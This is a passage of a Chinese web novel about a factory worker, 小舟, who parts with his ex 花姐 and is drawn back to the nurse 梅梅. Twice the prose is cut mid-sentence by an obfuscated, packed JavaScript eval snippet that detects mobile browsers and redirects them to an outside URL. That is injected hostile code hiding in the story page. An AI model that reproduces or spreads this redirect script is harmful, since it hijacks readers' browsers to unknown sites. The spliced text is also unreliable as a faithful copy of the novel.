“你这姑娘!那么火爆的脾气,怪不得挨打!”年纪摇摆在给他们当父亲,还是当爷爷之间的店主医生没好气道。 “我们是兄妹,”小舟赶忙说,“今天被家里父母打了。” 梅梅冷笑一声没说话,出了诊所,小舟很不是滋味地说:“你干嘛那样!” “我下次见你对象喊她一声妈,喊她那堆朋友阿姨,她们是不是就不会朝我动手了?” “你胡七八扯什么?”小舟说。 “哥!”梅梅喊得讽刺十足,喊完就跳上公交车。 之后,他的请求梅梅完全做到,没再来找过他一次,一封信一个电话都没有,就像他们从未认识过。 “喂,”在食堂吃饭,一起的同事向小舟打听情况,“你和厂花吹了,院花也没了?” 小舟没说话,他想自己倒成了人物了,时刻被人重点关注。 同事们当他默认,于是提建议道:“我说你也是玩得太不小心了,你怎么胆大到把院花带到厂附近来?你得让她们互相不知道对方存在啊!一个东宫一个西宫的,你当自己皇帝啊?” “你不懂,”另一个说,“我们小舟这是分身乏术,总要出错,下次注意就是了,偷|情也是需要技巧的,多偷几次就能掌握了。” 小舟解释都嫌多余了,随他们曲解,随他们误会,女人只要不是太老和太丑,他们都能展开腌臜联想。 “哟!”一个多管闲事的声音响起了,“厂花不就在我们对面吗?” 小舟抬头,视线准确无误地穿过几桌隔着的人头和花姐交汇了,自己和她还存在如此默契吗?闹到这境地,眼神还能像过去那样心有灵犀? 两个人都迅速低下头,花姐头低得快小舟一步,小舟的心被刺痛了一下。 他那天和梅梅分开后,梅梅没主动再找他,他也没主动寻过梅梅。 他觉得自己的牺牲够重大、够诚意了,他等花姐来主动讲和。 两个人的和好,如果是必须牺牲和梅梅这段友谊,那就牺牲吧! 爱情哪有不牺牲的?人活着不就一辈子都避不开取舍吗?只要那个人值得,他也认了! 可花姐是同样的等待姿态,那天事后,她想自己或许是真误会了,小舟即使学坏了,也不至于笨到蠢的程度,把人带到厂大门外面吧? 那天小舟被自己一耳光打断的话,无数次在她脑海里被串起,“你回来啦,我给你介——” 是“我给你介绍?”,他是要把那个女人介绍给自己? 如果是介绍,那是以什么身份?朋友还是情人? 肯定是前者呀!不然小舟能有这种长进程度?她不相信。 而且那个女人哪有半点“小三”的贱样? 厂里被批判为“小三”的女人,哪个不是搓脂抹粉、描眉画眼,隔老远就让人闻见狐狸骚气?那个女人连被打,释放的都是书卷气。 可如果恰巧这次她碰见的就是个有书卷气的小三怎么办?能挣得过吗? 还有小舟虽然没再和那女人来往了,可为什么又不来主动找她?他难道不明白,她和那个女人争端的赢与否全然取决于他? 花姐想到最后,还是没主动去找小舟。 她弄不清自己是在和小舟赌气,还是失去了和其他女人争夺他的勇气,那样一个冷静自持、斯文淡漠的女人,让她光想就胆怯,更别说和她对线。 舍友们看她颓丧了大半月,纷纷来劝:“阿花,够了啊,怎么失个恋就把自己都失了?” “我把自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630295|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失了?”花姐像个懵懂孩子般问。 “你以前多有精神劲,天不怕地不怕的,我们一个省来的属你最有脾气,怎么为了个男人把自己搞成这副德行?” 花姐被她们点拨开窍了,是啊,怎么就钻进死胡同了?爱一个男人爱得这么辛苦,当妈的日子比当情人多,何必呢?一个男人都让你自我怀疑上了,他还是好男人? 花姐猛地想开了,然后该吃吃该喝喝,回到了车间又成了那个每月绩效第一的小组长。 正好车间主管怀孕要休假,主管这次怀孕是最关键的一次。 她的身体天生不适合做盛放胚胎的容器,跟漏了似的,老是让体内的胎儿从缝隙里溜走,听人说,她和丈夫去了首都的大医院,这次如果还漏,不用缝补了,因为再不会有怀上的机会了。 主管是个母性很足的女人,把车间每个员工都当孩子来疼爱,因为她过多的母性如果得不到释放,会把她自己活生生憋死。 她走之前对花姐说:“我很看好你,我这次说是休假,休到什么时候也不知道,我跟上面说了,我走之后你来接替我,话我带到了,最后是不是你,小花,咱们尽人事听天命吧!” 花姐感动得险些叫了主管一声“妈”! 没多久,花组长升级为花主管了,而小舟还是那个普工,距离掌掴事件已经三个月了。 正式宣布花姐成为花主管那天,整个车间披红挂绿的,闹热得像婚礼现场,包主任在横幅下握着话筒,热情地宣布好消息,而花姐也把喜气洋洋挂脸上。 横幅下的两个人站得很近,包主任一身西装,而花姐斜挂着条喜庆绶带,在小舟眼里,两个人简直像新郎新娘般刺眼。 不止他一个人这样想,他听见有人低声嗤笑,“怎么状告陈世美的秦香莲倒和包青天搞到一起了?” 另一个人说:“陈世美才是赔了夫人还折了公主!” “你是说陈世美还是小舟?” 小舟转身离开了车间,再留下去是自取其辱。 他多傻?做出牺牲等她来找自己,结果呢?人家新官上任,办公室都还是和包青天一间。 晚上,小舟一个人坐在宿舍楼下喝闷酒,路灯下忽然多了个影子,是他隔壁宿舍的老乡,阿城。 小舟自嘲地笑了下,就在转头那一瞬,他还以为会是她,想多了吧?人家忙着庆功,顾得上你一个普工。 “心头不好受?”阿城问。 小舟只喝酒没理他,这不废话吗?还有你是来看笑话的? 阿城不客气地开了瓶小舟的啤酒,对嘴喝起来。 “你干什么?”小舟烦他,“我自己都还不够喝!”你来看我笑话,我还要主动给你备好酒水? “小气什么?哥来开导你!” “开导?取笑吧!”小舟点明。 “我是那种人?”阿花说。 小舟喝了口酒,擦擦嘴,你满脸都写着你是那种人。 “到底怎么回事?”阿城问他。 小舟谢绝打探内幕消息地望都不望他,“你没听他们说?” “他们?”阿城笑了,不屑地笑,“你是说那群整天把别人的事,拿来当下饭菜的一群无聊的人?” “那你是什么?”小舟问他,“你现在是来拿我的事当下酒菜?” “狗咬吕洞宾!”阿城胡噜了把小舟脑袋。 “别烦我,这瓶酒就当我请你的,拿走回宿舍。” “怎么?你又要把自己灌到医院去?为了同一个女的?不过这样也好,”阿城笑笑,“又送进医院和那个女护士重逢,她一心疼你,你们的缘分说不定又续上了。” 看吧,没一个人理解小舟,在女人眼里他是吃里扒外的负心汉,在男人眼里他是玩砸了的陈世美。 “其实,你跟那护士好,倒是比和阿花好合适,” “什么?”小舟给他的话呛得猛咳嗽。 阿城给他拍背,不是损友那般不知轻重,像个老大哥,力道合适。 “我和她就是朋友,真的!”小舟今晚难得为自己解释。 “我信你。”阿城说。 “你信我?”小舟噙着满眼眶的泪问,不知这泪是呛的还是情不自禁冒的。 “信啊,怎么不信,男人还看不懂男人?你不过是把那护士真当朋友了,可那护士把你当不当朋友,我就不懂了。” 小舟满脑子疾速筛过他和梅梅成为朋友后的点点滴滴,他确信梅梅和自己就是纯友谊,“就是朋友,我们有很多相似的爱好。” 阿城话锋一转问:“你和阿花有很多相似的爱好吗?” 小舟思索半晌说:“爱钱?” 阿城摇摇头,“你不是爱钱,你是需要钱,需要和爱是两回事,你要是爱钱,你会每天只干固定工时?” 小刚点点头,他倒是把自己看得很明白。 “那个护士呢?我肯定她也和你一样,对钱没那么感兴趣。” “我们从不谈钱。”小舟说。 “那你们谈什么?”阿城问。 “说了你也不知道。”宿舍楼下那几大柜子书,你碰过吗? 阿城又开小舟一瓶啤酒款待自己,“别以为你自己很难懂,谈楼下那堆闲书,是吧?” “你怎么知道?”小舟愣了。 “猜的,你是个很好猜的人。” 小舟咕哝道:“那她怎么猜不到我。”还是她压根懒得猜我?大概是我在她那里已经成为过去了吧? “我是男人嘛,”阿城说,“男人猜男人,同性别,准确率高出女人至少一半。” 小舟被他逗乐了。 “你和阿花真不合适,我是说如果你们是搞爱情那套,”阿城正经了,之前的谈笑是开胃菜,接下来才是正餐,“别看你们都是车间工人,家里条件也很像,但就是不合适,你懂吗?这里。”,他指指自己脑袋。 “你什么意思?”小舟不知是真不懂,还是装不懂。 “刚才你回答我,你和她有什么像的爱好,你想了多久?两个喜好都不同的人怎么可能产生爱?” “放屁!”小舟不允许有人这样否定,他为之奉献和牺牲的一段感情。 “你是不是书看多了,傻了?分不清你自己是爱上一个人,还是爱上爱一个人的感觉?” 小舟被阿城这句文艺腔搞得目瞪口呆,就像张飞的脑子突然干起了诸葛亮脑子该干的活。 “别以为我什么都不懂,我家老头就是你这种人,整天情啊爱的!酸死了!” 小舟后悔自己过去把阿城和车间的其他人归为一类了,那类酒囊饭袋的人。 就因为这点自傲的草率,他差点失去了一个把他如此透彻的同伴。 “来,哥哥给你分析。”阿城老兄老弟地搂着小舟的肩膀。 “你刚来那会儿,手笨得谁都嫌,你被别人嫌弃怕了,好不容易碰上个不嫌你,还尽心教你的人是不是很感动?” 很感动,小舟用力点头,哈巴狗儿似的急不可待,你快继续分析我,把我自己都没搞清的我自己给我指点明白。 “然后你中暑晕倒了,阿花把你送进医务室,你更感动了,觉得她又像妈,又像姐姐,你小子不是有两个姐姐吗?” 小舟又点点头,犹疑着是否要道出在医务室时,自己盯着的黄医生那双带着高跟拖鞋打节拍晃动的脚尖。 “想什么呢?”阿城不满意他开小差。 小舟想了想还是和盘托出了,为了阿城分析的准确性。 “那个女人啊!”阿城一点都不讶然,他说,“那么风|骚,你没感觉你才该怀疑自己是不是不喜欢女人。” 小舟含羞地把头低下,阿城说:“你连对女人产生的情|欲都不敢正视,你还敢正视自己和女人的感情?” 看吧,这就是你把自己和她关系弄得一团糟的原因。 “那时候阿花是离你最近的一个女人,你刚从学校里出来,很不适应外面的世界,她就在你最脆弱的时候出现在你身边,被你投放了很多复杂的情感,母亲、姐姐、还有女人,是吧?” 阿城说完,给了一个中场休息时间,让小舟好好消化自己的话。 是这样的吗?小舟带着阿城的话反思过去自己对花姐的感情,他惊异地发现,他竟把所有感情都分门类别地一一归位了,他还发现自己在做出那些花姐看来十分幼稚的行为时,都是带着小时候想讨母亲和姐姐们开心的目的的。 而花姐的情人角色呢?即便是在他们贴得最紧的时候,也是她把自己的头搂进怀里,自己从未主动搂过她,所以自己哪有个男人样? “我说对了吧?”阿城自信地斜睨小舟一样,他的自信在于他分析别人时鲜少有不准的时候。 “那我接下来该怎么办?”小舟取经般虔诚求问。 “能怎么办?人家把你甩了好不好?!” “我只是觉得......觉得她很辛苦,我麻烦她担了那么多角色......” “那你们就应该分开啊!”阿城说,“不分开你让她继续辛苦?!” 小舟不说话了,满脑子思绪乱跑,找不着出口地要把头挤爆了。 “你是说你想弥补?”阿城问。 小舟点点头。 阿城两手一摊:“现实就是这么残忍,你生命中遇见的一些人,用途注定就是来使你成熟,或者你使他们成熟,阿花的到来,就是为了给你补上那截你从学校到社会欠缺的成熟。” “我什么也做不了了?”小舟满心失望,失望自己做男人,怎么做得这么无力?这么窝囊? “其实你和那个女护士真挺合适的,至少你和她相处没把她当长辈不是吗?女人都怕老,找个男人不能让她们依依靠就算了,还要把她们当长辈依靠,不老得更快?你少耽搁她几年青春吧,啊?” 小舟震撼不减地望着他阿城哥,“你居然这么深藏不露?!” 阿城说:“流水线工作就这样,手是没停,但脑子是空的,那么漫长的时间,总得往脑子里塞些东西吧?” 言下之意是:别以为那么多条流水线,只有你小子一个人特别,一个人有想法。 一条水流线就像一棵树的主干,或者一条河的干流,流水线两侧的员工则是树的枝干、河的支流。 枝干、支流的繁茂和流淌都是独一无二的。 流水线上的工作是重复、繁琐、没有新意的,但受流水线支配的人不是,人总能在最不自由的当下,最大程度地寻觅自由,即便肉|体被禁锢,但思想谁也别想束缚住它,思想是人之所以为人的最后一片净土。 小舟就在这晚,在老乡大哥的辅助下,清楚明白了他和花姐是真的结束了,他们这段感情头开得仓促,所以潦草结束也不该意外。 小舟写了封信放在花姐的储物柜里,里面放上了他进厂以来所有的积蓄。 他在信里如是说:这些钱并不是一个玩弄了感情的公子哥儿对女人的补偿,他还配不上“公子哥儿”这个词,事到如今,他不知道自己还能怎样表达歉意和弥补伤害,所以这些钱,是他万般无奈能想到的唯一能做的,希望工资向来高他许多的花姐不要嫌弃。 小舟的信,花姐没有退回,还是那句话:“跟什么都过不去,也别跟钱过不去,钱是好东西,不好的是人。” 她想如果这样他能好受,自己就收下呗,最好他是能成阔佬,那样他能用更多钱弥补自己。 但她不明白自己这样想,是真看开了还是没辙,前者是释然,后者却是不这样还能怎样? 33.花姐(七) 小舟和梅梅又搭上了联系,厂里员工体检,梅梅是医院派来的员工队伍之一。 当然是她主动来的,她从不做没头没尾的事,好和坏必须有个结局。 梅梅和之前那个因部队休假,而请自己代值班的同事换了班。 她一进工厂,就从一片由茫茫蓝海的工人群中,认出了小舟以及花姐,只一眼她就确定这两个人是真被她搅黄了。 不过小舟还真是好样的,和对象黄了,也没把自己当个备胎来立马换新。 梅梅想,她看人的眼光真不赖,遗传的,她母亲当初也是这样识货地看准了她父亲。 不过母女俩看重的特质不同,母亲是能力,而她是感情,谁让母亲逼着她从小看那么多书呢?书里写的那么多感情不在现实里体验把,不白读了? 梅梅和一众医生护士们来时,都戴上了雪白的口罩,他们在体检时会隔着口罩和厂里工人们讲一两句话。 医生们的话很职业口吻,而善良纯洁的女护士们却会在体检时,除了说些必要的话,比如:“翻个身。”“嘴长大一点,啊——”“转个头,我要看看你的耳朵。”“咦,看看你,牙齿都烂好几颗了!回头一定要去医院补牙换牙,蛀牙也是会感染的!”...... 还会说些非必要的话:“你从哪儿来的呀?”“是吗?XXX就是从你们那里来的!”“老家主要种什么呀?”“你们那里的人喜欢吃面食,还是米饭啊呀?”“家里有几个兄弟姐妹呀?”“家里人来信了吗?今年收成好吗?”“来到这里想家吗?”...... 女护士们本就温柔细腻带有抚慰作用的嗓子,被她们雪白的纱布口罩筛得更柔更细。 她们的每句话落进男工女工们耳里,都像故乡清晨的鸟雀叫声般悦耳动听,让人不由得就在这美好声音中沉沦、遐想。 这些沉沦和遐想非常短暂,因为他们和每个护士们的接触时间都有限。 他们双方都无法在这有限紧迫的时间里和彼此缩短距离、建立熟识,也无法挽留住彼此,这就使得这次短暂邂逅给工人们,尤其是男工们留下了一丝舒服的痛觉。 他们在这极短的时间里,贪婪地看女护士们,她们有些是齐耳短发,有些是长发让发网裹成一个髻,头发不长不短的就用丝带或发绳扎在脑后。 每一个没大多新意的发型,都在这短暂紧迫的接触里被他们品出新意来。 男工们认为,每个戴口罩的女护士,面孔都非常好看,雪白的口罩将她们的头发、眉眼衬托得更黑更亮。 他们觉得同样是戴口罩,女护士们戴着就比女工们要美得多。 这只是他们的认知谬误。 他们在和女工们的朝夕相处中,见惯了女工们戴口罩不戴口罩的样子,人与人之间过多的接触会磨损消耗美感,而一生唯一次的接触则使美感覆上朦胧、神秘且不可揭的面纱。 这些女护士就这样在他们心中留下了一席之地,会在他们未来无数个无聊、惬意的午后、夜晚从记忆深处翻涌上来,间断地、美好地温暖他们。 小舟也身处这群男工之中。 他看着眼前的女护士们,想起梅梅,想起他们数月未曾联络的友谊。 大概是断了吧?他想,心处却感到牵丝扯缕的疼痛,这疼痛让他没多余的知觉像其他男工那样,感受女护士们的柔情惬意。 “坐下!”他耳边传来一声命令,公事公办透着不耐烦却熟悉的冷漠,几个月前他酒精中毒住院,他就受过这冷漠对待。 “快去坐下,”他身后的同事推推他说,“怎么你这个护士那么凶?其他的多温柔?” 小舟却在这“凶”里兴奋起来,他瞪大眼,离他不足一米的女护士可不就是梅梅? 他听话走过去坐下,高兴又小声地叫了声“梅梅”。 亏他这时还想得到,要是周围的同事们看出他们认识,肯定会猜出梅梅就是那个大家嘴里不要脸的“小三”,他不想梅梅再度受到伤害。 梅梅却没理他,除了体检时例行公事,必须说的几套话,她没和小舟多讲半句。 她那小手电筒照他眼睛,强光把小舟刺出泪,他泪汪汪地问:“最近怎么样,你还好吗?” “张嘴!”她又把他下巴扳来扳去,照他口腔内部。 小舟这下不能说话了,却用一双带泪的眼盯住她,仿佛受了天大委屈似的。 他在梅梅手里短短几分钟的体检,没有得到任何来自朋友的关照。 梅梅的冷漠使他觉察到,他是真失去这段友谊了。 小舟在接下来的体检中,游魂般飘过,好几次女护士们让他做什么,他都没听见,或者没听清地让人家重复好几次。 等所有体检完成,已经是下午近七点了。 厂里领导热情地请求医护人员们赏脸,在食堂把晚饭解决了,给他们单独开小灶,医护人员们也做顺水人情地留了下来。 在打饭时,阿城走到失落的小舟身边,恨他不争气地说:“那个是不是你的女护士朋友?”他筷子指指一个角落。 小舟顺他筷子方向望去,一个非常不起眼的角落,他刚来到厂里时也是像那个角落般同样的不起眼。 那时他每次来食堂的吃饭,都会端着餐盘走上一段距离到那个角落里,在热闹的食堂里,那里是被排挤在热闹之外的地方。 梅梅现在就坐在那里,像一年多前那样,她也主动地将自己排挤于热闹之外,不和那群医护同事们共餐。 为什么?小舟想,难道她在医院里的处境,也同自己刚来时那样吗? “还不快过去!”阿城催他,“你再慢点,她饭都吃完了!” 小舟在阿城的怂恿下,硬着头皮把餐盘放梅梅对面,窝里窝囊地说:“你要是不想看见我,我马上走。” 梅梅笑了下。 她坐的角落,给了她一个很好的角度落在小舟眼里:半个身子在阳光里,半个身子在阴影里,笑在光与影的协调对比中,出奇的好看。 小舟呆头呆脑地笑着,十足的痴瓜才会有的笑容。 “你站着干嘛?”梅梅被他的傻笑感染了,咧嘴露出的洁白牙齿,是她刚才只算礼貌笑容的真诚展开。 现在她的笑是“一笑泯恩仇”的笑。 小舟问:“我可以坐吗?” 梅梅说:“椅子不用来坐用来干什么?” 梅梅把人与人的距离吃得多准?该拉开时拉开,该贴近时贴近,有时距离的拉开是为了更亲密地贴近,就像她这几个月有意为之地和小舟不见面,等待的就是这次贴近。 梅梅就算不学医护,学跳舞,也是探戈高手! 花姐就学不会,也不愿学梅梅这样,她太倔,内心爱得再澎湃,在离别关头,也要强迫自己把眼泪忍住,死咬住快脱出口的眷恋和挽留。 梅梅才不,她势在必行地要得到什么时,所有的表情动作都是她获取目标的手段。 小舟赶忙坐下,怕她反悔似的,说:“我刚刚还以为你不会再理我了。” “你为什么会这样以为呢?”她明知故问道。 小舟这点好,错了就是错了,他坦诚地认错,“都怪我,我说我们这段时间就不要见面了。” “所以啊,”梅梅说,“你要求不见面,我就服从你要求不见面呀!” “对不起,”小舟表情很正式地道歉,“是我没把自己的问题处理好,还连累了你。” “那你现在来主动来找我了,意思是你已经处理好了?” 小舟点了点头。 “你们分手了?”她今天特地来一趟,要确认的就是这件事。 小舟把那天在长门外不欢而散后,发生的一切全盘托出了。 梅梅听完他的讲述后,敏觉地找到了他自己都没找到的问题,这是段没头没尾的感情,连正经开头都没有,同样也没有正经结尾。 这两个人本该一对一的感情,中间却有太多人介入,不止自己,他们的感情在厂同事们开的玩笑、凑的热闹中迅猛升温,在一起就像要给这群人一个交代似的。 遇上分歧后,他们也并没有开诚布公地交谈,任这些无关紧要的外人七嘴八舌横插中间。 多么讽刺?明明是男女两人的感情,却让那么多乌合之众搅合进来。 这世上任何关系都有一个铁定的规律:越简单越纯粹,人一多了,非把关系搅合乱不可,人多会让原本呈直线的交流,纷繁复杂地变成一条条曲线,沟通成本数倍上升,效率却数倍下降,关系搞砸,迟早的事。 梅梅对小舟说:“既然你们也彻底没可能了,她也向前走了,你还要原地踏步?” “我还能做什么?”他对在车间升职什么的从来没兴趣,这就是份糊口的工作,干嘛那么认真对待。 钱是让日子过得紧巴巴的,但为了钱多受罪,那又是小舟不想的,他志不在此。 “我之前不是建议你提升学历吗?”梅梅提醒他。 小舟想起来了,可他对这些事像无头苍蝇般迷茫、不知所措。 每当他独自,无人引导地做这些事时,总会心生出种种胆怯,他害怕自己未涉足、不熟悉的领域。 未知的恐惧比麻木的当下更令人望而生畏。 梅梅早把他看穿了,她说:“我都替你问好了,但你一直没来找我。”有点子撒娇怪罪的意思在里面。 “你帮我?”小舟惊得嘴忘记合拢,筷子上夹的菜落进餐盘里。 “怎么?嫌我多事?你想自己去打听?”她合适地耍出娇娇女脾气。 小舟把头摇出残影来,他被她的惊喜吓到了,就在他以为他们的友情已无声无息破裂时,她却是在无声无息地准备如此一份大礼。 “你去不去?”桌子下,梅梅用脚踢他一下。 “去啊,我做梦都想去!” 梦和梦是有分别的,在这座厂里,他做梦也只能做到包主任的位置上,但那梦让他只觉提不起劲,而梅梅给他的梦,太美妙,梦中的天地远比这座长广袤。 “但我可得和你说,”梅梅把眉毛一压,正色道,“你要真想去那学校,这边的工作就不能再做。” 她在骗他,明明有上夜校的选择,不过要辛苦些。 “啊?”小舟苦恼了,“不是说有夜校吗?” 梅梅心里一笑:你白天车间,晚上夜校的,哪来时间陪我? 她说:“你事儿怎么那么多?给你问到就该知足了,我还是托了我爸妈很多人情的,你吃甘蔗还要求两头甜?” “我不是这个意思,”小舟窘迫道,“我都读书去了,生活开销怎么办?” 他脸红得耳朵都透明了,为自己手停口停的囊中羞涩而尴尬、狼狈。 “你住我家啊,吃也在我家,平时帮着我妈妈买买菜,做做家务就放付房租了。” 小舟觉得,梅梅是不把他当异性见外。 “啊?!”他反应说不清是被天降大饼砸中,还是突然被人敲了竹杠,怎么就短短几分钟时间,自己已经被人安排得明明白白了? 梅梅秀眉一挑,“怎么?不满意啊?我和我妈说了,她可是特地把我家二楼收拾出一间房给你预留着。” 二楼?她家条件真好啊!小舟自惭形秽地想,那种复式楼,他们这些外地人要不是特聪明那拨,不知得努力多少年才能买下一套。 “来不来我家?”梅梅这次干脆不用桌面遮挡的脚踢他了,毫无顾忌地用手推他。 “我......我......我是男的......我怎么好住进你家去?”小舟结巴地指出他们的男女之分。 梅梅嫌他啰嗦:“我不知道你是男的?你强调什么?还要脱裤子强调?” “那我怎么好住你家?”小舟觉得她疯了。 “是我和你单独住吗?”梅梅说着不矜持的话,姿态却仍是大家闺秀式的清白。 “你和你妈妈是女的啊,我一个大男人!” “那你要是个女孩子你就愿意搬我家来了?”梅梅设下圈套等他。 小舟点点头,走进圈套, 梅梅笑了,笑他傻:“这不一回事?你要是个女的,不该想着我还有个爸爸?” 也是哈,小舟心想。 “再说了,”梅梅坏坏地笑,“你要是个年轻女孩,我妈妈还不准你住我家了!” “为什么?”小舟觉得她妈真奇怪,自己女儿带个同龄女孩回家不欢迎,带自己回家还特地收拾出一间房来。 “你傻呀!我爸爸是男的呀!我弄个年轻女孩成天在我家楼上楼下晃,我妈非活刮了我!”梅梅真乐了,被他的天真引乐,也为自己眼光乐。 “啊?”小舟羞羞地低头,“我没想到这些地方......” “就冲你没想到这些地方,我妈妈也会愿意让你住进去的,我和她说过了,你人可好了!还有你别以为搬进去就只读圣贤书了,我妈那人我都受不了她,你会被她烦死的!” “别这样说自己母亲,”小舟说,“你不知道我们这些从家里出来的有多想家。” “那你离家那么久,想过你妈妈没有?”梅梅问。 “废话!”小舟说。 “那你来我家吧!给我妈当儿子,她就说她当初该生个儿子的,我不懂事,最躲懒!我妈每次跟我后悔,我就说,你该怀我的时候就告诉我啊,这样我还来得及在肚子里给自己搓一根!” 小舟听完她说,一口饭没包住,全喷餐盘里。 “哎呀,别吃了,”梅梅嫌恶心的叫,“弄成这样怎么吃?你今晚就到我家去,正好我把你介绍给他们认识。” 小舟这顿饭光顾着和梅梅重修旧好,没扒两口进肚子里。 晚上还没走到梅梅家,他胃先闹上情绪了。 他手在肚子上胃的部位匆忙揉两下,跟老伙计打招呼:求你安分点,可别进了别人家给我丢人。 梅梅变戏法似的从口袋里抓出一把巧克力给放他手上,锡箔纸上还残存着她暖暖的体温。 小舟的掌心像被她体温烫伤般没动弹,心被莫名的感觉击中了下。 “吃呀!”梅梅从他手里拿出一颗,剥开锡箔纸送他嘴边。 小舟鬼使神差地咬了上去,唇与指尖刚碰到就弹开,两个人眼神对上,多了另一种别样的情绪,以前未有过的。 小舟还很模糊那是什么情绪,梅梅却很了然,她也有把握在不久后让他也感觉清晰。 “好吃吧?”梅梅问他。 “好吃,诶——”小舟从甜涩里品出酒意,“这是酒心的呀?” “对啊。” 他说:“那我可得少吃两颗,总不能醉醺醺地去见你爸妈吧?” “怕什么,”梅梅说,“我们上班的时候兜里全是这种巧克力,多吃几颗,大家都晕头转向地上班。” “难怪你打针那么痛,原来你是醉着给我打的!” 两个人就笑着一言一语地走到梅梅家。 梅梅掏出钥匙,打开门的一刹,小舟忘了进去,立门前呆呆地看着她家的布局。 电视剧里书香门第人家的布局,每一处无不透露着这家人的涵养与品味。 “怎么了?”梅梅先他进去,拿出一双拖鞋放他脚边,“新的,快穿,好大的派头,还要请你进来?” 小舟进门来,拘束地跟在梅梅身后,他仍是那个需要被照顾的男孩。 餐桌上,梅梅向父母介绍了小舟。 老两口看风景似的对小舟左顾右盼。 梅梅不满道:“人家就是朵花,也要被你们看谢了!” “梅梅,就是这小子?”他父亲问。 梅梅指正他爸:“什么小子?人家叫小舟!” 这顿饭吃得很快,梅梅不让他们拖拉,每当她父母想要问小舟点什么,要么被她截断,要么由她代劳,她一副“母鸡护崽”的架势让老两口无从下手。 饭吃完,小舟主动提出收拾,幸好他看的电视剧不少,借着电视剧倒是把她家的厨具使用给看会了。 小舟在梅梅的旁观下把厨房收拾干净,梅梅妈就说:“累了吧?上楼洗个澡休息?” 小舟等梅梅首肯似的望着她,等她替自己拿主意。 “好啊,走,我带你上去,给你看看。” 说完,她带着小舟上楼了,留老两口在楼下瞪眼互望。 趁小舟洗澡的空当,梅梅下楼和父母见面了。 “你喜欢的就是这小子?”她父亲问。 “对啊。”梅梅不脸红地说。 “怎么跟个姑娘似的。” “我不喜欢野蛮的。”梅梅说。 “走外面他能保护你?”做父亲的把这种事看得很重。 小舟的英勇事迹使这刻梅梅把他拿得出手了。 “岂止能保护?”她说,“他还是他们厂的英雄模范,他们厂发生火灾,他救了两名女同事出来,爸,不是顺路救的哦,是他都跑出去了又返回去救的!” “那也太危险了,”梅梅父亲说,“你跟他说,以后可以不顾性命救你,其他人就免了,我不想让我女儿做寡妇。” 有了一家之主这句话,小舟是彻底获得认可了,虽然他此时不在场。 “如果是你们也不让他救?”梅梅问。 梅梅妈说:“我们都这把老骨头了,还拖累你们年轻人做什么?” 小舟从浴室里出来,梅梅早在为他准备的房间里等他了。 “怎么样?舒服吗?” 小舟点点头。 “你习惯就好。”她偷换了意思,把小舟回答的“舒服”换成了“习惯”。 小舟自然没意识到她的诡计和花招,要想识破梅梅这样聪明精灵女孩使的诡计,你得把她的话当高考语文改错题来解析才行。 当晚小张躺在柔软床垫上快要入睡时才想到:他今晚不是来她家吃饭,顺便和她父母见面的吗?怎么就睡下了? 与他现下有相同困惑的人在现实生活里真不少,太多人往回看会发现,脚下的路与起点的初衷跑偏了,甚至背道而驰,朋友发展成恋人、夫妻,也是这回事。 第二天,小舟回到宿舍,舍友们都用含糊的眼光打量他,不错嘛,小子,你是完全走出来了! 小舟觉得这些眼神让他非常不适,他告诉梅梅,这些人总把别人的任何行为都曲解得油里油气。 梅梅说:“住宿舍就这样啊,完全没有私人空间,我就讨厌住宿舍!” “你们护士也这样?”小舟对受教育充分的人存在天真美好幻想。 “护士也是人,是人都有这种劣根性。” “你就没有这种劣根性。”小舟提出很中听的异议。 “谢谢,你也没有!”梅梅说。我要的就是让你感到我和别人不同,当然你在我心里同样,在我的引导下,你不会找到比我们更默契的人。 梅梅又说:“反正你也住得不舒服,干脆搬来我家算了,这不是迟早的事?早出来还能少受些恶心。” 等小舟把宿舍里的必需品搬出来没多久,他的高中正式入学通知手续也下来了,离职信交上去,批准流程提上日程,他离厂的日子也快了。 小舟在梅梅家几乎不用准备什么,他把自己很多用不上,但完好整洁的物品送给同事们。 同事们好羡慕啊,这可不是小舟虚荣讲出去的,第一人民医院的医护团队来体检一次后,他当晚就夜不归宿了,没脑子也能想到是和之前的“院花”藕断丝连了。 他们说:“小舟要去当学生了,以后还要当医学生,医学生当完当医生!” “哪个医学生有他这福分?上学还配个护士当书童!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631582|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小舟,你告诉我们,你女朋友家里很不错吧?大家都是穷小子,你支支招,或者你把她医院的其他护士也介绍介绍?” 小舟忍着不和他们撕破脸,还是老乡阿城插科打诨几句帮他糊弄过去。 这头男工们听了小舟的事迹,把这当好消息,缠得他脱不了身;那头女工们当坏消息,叽叽喳喳吵得花姐心烦。 明明她都当这事翻篇了,这群女人却还拿她弃妇宽慰,这群人压根不知道她们简直是在骚扰她。 花姐借口去走廊尽头上厕所逃了出来,心里很不好受,她骗不了自己。 前任要去给人当乘龙快婿出人头地了,自己却还要留在原处现世,给人消遣,她的名字和他的在这个厂里是彻底绑上了,提他一次就要提她一次。 他去给人当上门女婿要是过得不如意那还好,但凡如意点,自己都要被人当笑话讲一次又一次。 花姐烦闷地走下宿舍楼,下楼梯正对就是几个大书柜,以前小舟等她时常常坐在书柜旁置的长椅上,有时她见他看书专注得忘了坐那里是为了等自己,她都不忍心上前打扰。 那长椅上眼下也做着一个人,也很专注地看着手里的书,边看书边轻啃指甲的姿|势都和小舟如出一辙,是梅梅。 她立即转过身去,却被不远处一个不长眼的同事高喊了声“花姐!” 